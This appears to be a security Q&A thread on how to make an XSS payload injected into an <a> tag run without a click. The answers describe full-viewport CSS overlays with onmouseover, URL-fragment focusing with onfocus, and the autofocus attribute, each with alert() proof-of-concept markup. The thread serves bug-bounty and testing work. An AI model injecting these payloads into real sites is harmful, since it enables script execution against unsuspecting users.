8

Is it possible to inject a payload inside <a> tag such that the script runs without user interaction?

The injection is inside the href attribute. I can inject onmouseover or onclick attributes, but user interaction is required.

The onfocus and autofocus trick does not work in <a> tag (correct me if I'm wrong).

In my case, the page cannot be loaded in iframe, so I can't do tricks with iframes.

Do you know some other tricks?

3 Answers 3

15

You can force the user interaction with CSS, by making the a element an fixed positioned block element with a large size and z-index.

<a style="display: block; position: fixed; top: 0; left: 0; z-index: 99999; width: 9999px; height: 9999px;" onmouseover="alert('xss')">

3
  • mousemove would be better in that mouseover might not fire on a full-window elm because the pointer is already "over" the elm. (both events should require movement)
    – dandavis
    Commented Sep 6, 2017 at 18:41
  • 2
    Wouldn't absolute positioning (even if combined with left: 0; top: 0;) place the element relative to its offset parent? I think position: fixed would do the trick, as it allows for positioning relative to the viewport and not just the closest positioned parent. Perhaps one could even add right: 0; bottom: 0;, which would effectively cover the entire page.
    – rhino
    Commented Sep 6, 2017 at 23:07
  • @rhino Yes, sorry, will fix.
    – Polynomial
    Commented Sep 7, 2017 at 13:07
6

Yes, that's possible.

The onfocus and autofocus trick does not work in tag (correct me if I'm wrong).

Correct, the autofocus attribute doesn't exist for <a> tags. But instead, you can take advantage of anchor names to still achieve the autofocus effect.

E.g., create a document with this link:

<a href="#" onfocus="alert('Gimme bounty!')" name="foo">Click me</a>

Now open the document as https://example.com/anchor.html#foo. The anchor #foo will make the browser autofocus the link element with the name foo and trigger the JS payload.

(This works for me in Google Chrome but not Firefox.)

1
  • might try a meta redirect to change the hash after page-load, to see if focus() fires in FF
    – dandavis
    Commented Sep 6, 2017 at 18:44
1

The onfocus and autofocus trick does not work in <a> tag (correct me if I'm wrong).

At least now (2024, 7 years after your question), this is wrong.

autofocus is a global attribute, so it also works on <a>:

<a href="#" autofocus="true" onfocus="alert('xss')">hello world!</a>

Here is a complete HTML file to check this:

<!DOCTYPE html>
<html>
  <head>
    <title>XSS test</title>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <a href="#" autofocus="true" onfocus="alert('xss')">hello world!</a>
  </body>
</html>

Without the autofocus attribute, this requires user interaction.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .